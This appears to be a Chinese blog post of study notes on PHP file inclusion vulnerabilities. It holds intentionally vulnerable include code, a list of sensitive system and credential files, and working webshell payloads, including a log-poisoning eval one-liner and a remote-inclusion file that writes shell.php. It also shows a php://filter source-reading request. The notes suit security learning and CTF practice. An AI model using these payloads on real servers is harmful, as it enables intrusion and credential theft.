文件包含漏洞小记

时间秒杀一切 提交于 2020-02-29 05:17:13

文件包含函数

  include  调用文件用的函数

  require

<?php
    echo'<meta http-equiv="Content-Type" content="text/html;charset=gb2312" />';
    // include '1.txt';
    // $a = $_GET['page'];
    $a = "$_GET[page]";
    // echo $a;
    include $a;
?>

include 调用a ,这里可以给a传入任意文件,这个文件有可能传入的是木马文件,能传入任意文件就是文件包含漏洞

远程文件包含

    要求php.ini中的  allow_url_include=on 

例如:127.0.0.1/cs/main.php?page=http://www.baidu.com/index.html 文件main.php 中page 传入的是百度

常见的敏感文件

unix/linux 系统中

  /etc/passwd----------里面一般存放的是用户的一些数据

  /usr/local/app/apache2/conf/httpd.conf----------------里面存放的apache2 默认的配置文件

  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf----------里面存放虚拟网站设置

  /usr/local/app/php5/lib/php.ini--------------------里面存放PHP相关的设置

  /etc/httpd/conf/httpd.conf---------------------里面存放apache的配置文件

  /etc/my.cnf-------------------里面存放mysql 的配置文件

windows系统

  C:\boot.ini----------------里面可查看系统版本

  C:\windows\systen32\inetsrv\MetaBase.xml-----------------里面是IIS配置文件

  C:\windows\repair\sam--------------------------存储windows 系统初次安装的密码

  C:\Program Files\mysql\my.ini--------------------里面存放mysql配置

  C:\Program Files\mysql\data\mysql\user.MYD-----------------里面存放mysql root

  C:\windows\php.ini-------------------------php配置信息

  C:\windows\my.ini-------------------存放mysql配置文件

常见的敏感文件----flag

  1. 根目录下存在flag文件
   C://flag.txt
  2. passwd文件存在flag
  /etc/passwd
  3. Web根目录下存在 flag文件
  4. 当前页面下存在flag文件
  5. apache/php/mysql配置文件下存在flag文件
  利用phpinfo()函数来获取路径
包含日志文件getshell

  在页面访问http://127.0.0.1/<?php eval($_POST[111])?> 为了避免在web中被url编码 我们在burpsuite中植入

这也我们的一句话木马就会被带进日志文件,只要满足allow_url_include=on我们就可以通过文件包含漏洞在本地远程传递服务器的日志文件为参

数从而解析我们植入的一句话木马来拿到shell(必须要知道日志文件的绝对路径)

远程文件包含写入一个shell

<?php

    fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');

?>

 fopen()函数打开或者创建一个名为shell.php的文件,fputs()函数往shell.php文件里写入一句话木马

我们把含有这段代码的文件传入给有文件包含漏洞的参数,它就会被执行,在当前目录下创建一个名为shell.php的一句话木马文件

 PHP封装协议读取文件

  http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  

  利用PHP协议去用base64j解读文件main.php,从而还原该文件的源码

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!